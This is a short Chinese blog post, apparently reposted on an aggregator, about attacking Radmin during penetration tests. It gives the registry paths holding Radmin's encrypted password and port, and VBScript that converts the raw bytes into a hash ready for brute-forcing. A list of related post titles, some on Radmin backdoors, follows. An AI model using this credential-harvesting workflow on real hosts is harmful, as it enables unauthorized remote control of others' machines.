小谈RADMIN
来源:互联网 发布:freebsd下载源码好慢 编辑:程序博客网 时间:2024/05/17 03:11
by NetPatch
welcome www.nspcn.org and www.icehack.com
最近做渗透测试时常碰到RADMIN一类的东西..
一碰到此类的程序,一般我都会先看下对方把RADMIN的端口配置成什么..以及相应的PASS(加密过的)
HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0/Server/Parameters/Parameter //默认密码注册表位置
HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0/Server/Parameters/Port //默认端口注册表位置
//把海阳读出来的,用逗号格开,然后用下面的代码转换就可以了
Dim theStr
theStr = InputBox( "请输入要转换的密码:", "输入", "44,41,43,32,43,5,45,64,43,24,31,53,46,57,64,86" )
If theStr <> "" Then
Call InputBox("请复制已经转换好的密码",,zpass(theStr))
End If
Function zpass(pass)
tpass=""
MyArray = Split(pass, ",", -1, 1)
For each thepass in MyArray
if len(thepass) = 1 then
tpass=tpass+"0"
end if
tpass=tpass+hex(thepass)
Next
zpass=tpass
End Function
//转换后的,就可以拿爆破工具去跑了....
端口读出后类似这样 223,34,0,0
//用下面代码转换即可
Dim theStr
theStr = InputBox( "请输入要转换的端口:", "输入", "223,34,0,0," )
da = Split(thestr, ",", -1, 1)
If theStr <> "" Then
Call InputBox("请复制已经转换好的端口",,Hex2Dec(Dec2Hex(da(3))&Dec2Hex(da(2))&Dec2Hex(da(1))&Dec2Hex(da(0))))
End If
Function Hex2Dec(Hex)
Hex = UCase(Hex)
For i = 1 To Len(Hex)
Select Case Mid(Hex, Len(Hex) - i + 1, 1)
Case "0": B = B + 16 ^ (i - 1) * 0
Case "1": B = B + 16 ^ (i - 1) * 1
Case "2": B = B + 16 ^ (i - 1) * 2
Case "3": B = B + 16 ^ (i - 1) * 3
Case "4": B = B + 16 ^ (i - 1) * 4
Case "5": B = B + 16 ^ (i - 1) * 5
Case "6": B = B + 16 ^ (i - 1) * 6
Case "7": B = B + 16 ^ (i - 1) * 7
Case "8": B = B + 16 ^ (i - 1) * 8
Case "9": B = B + 16 ^ (i - 1) * 9
Case "A": B = B + 16 ^ (i - 1) * 10
Case "B": B = B + 16 ^ (i - 1) * 11
Case "C": B = B + 16 ^ (i - 1) * 12
Case "D": B = B + 16 ^ (i - 1) * 13
Case "E": B = B + 16 ^ (i - 1) * 14
Case "F": B = B + 16 ^ (i - 1) * 15
End Select
Next
Hex2Dec = B
End Function
Function Dec2Hex(Dec)
Dec2Hex = ""
Do While Dec > 0
a = CStr(Dec Mod 16)
Select Case a
Case "10": a = "A"
Case "11": a = "B"
Case "12": a = "C"
Case "13": a = "D"
Case "14": a = "E"
Case "15": a = "F"
End Select
Dec2Hex = a & Dec2Hex
Dec = Dec / 16
Loop
End Function
- 小谈RADMIN
- radmin
- radmin使用
- Radmin Default settings vulnerability
- 使用xp_Regwrite夺取radmin
- radmin 3.4 注冊問題
- 向radmin学习
- Radmin 修改 远程桌面密码
- FreeRADIUS RADMIN说明
- 使用Radmin进行远程控制
- 终于可以不用radmin了
- Radmin密码破解的新招
- Radmin 3.0 Remote Control 英文破解版
- OllyDBG反汇编破解Radmin密码
- 利用Vbs脚本实现radmin终极后门
- SC+BAT携手打造完美个人版Radmin转
- 12.最快、最好用的远程控制软件 - Radmin
- Radmin和嘿洞的多SOCKET文件操作
- WinForm Control - DataGridView 编程36计
- discrepancy:出入,不一致
- 建一个XMLHttpRequest对象池
- ISO8583接口的详细资料
- 各大数据库默认地址
- 小谈RADMIN
- 关于window,parent,frame,opener的一些总结
- 你的下一个Web应用程序是Google Gadget吗?
- 分组密码算法分析
- 金融行业密钥详解
- Java设计模式使用率爬行榜
- 凤凰涅磐,欲火重生,不达目的,誓不罢休,七夕立帖,以此为证!
- 对Hibernate使用之愚见
- AJax 学习体会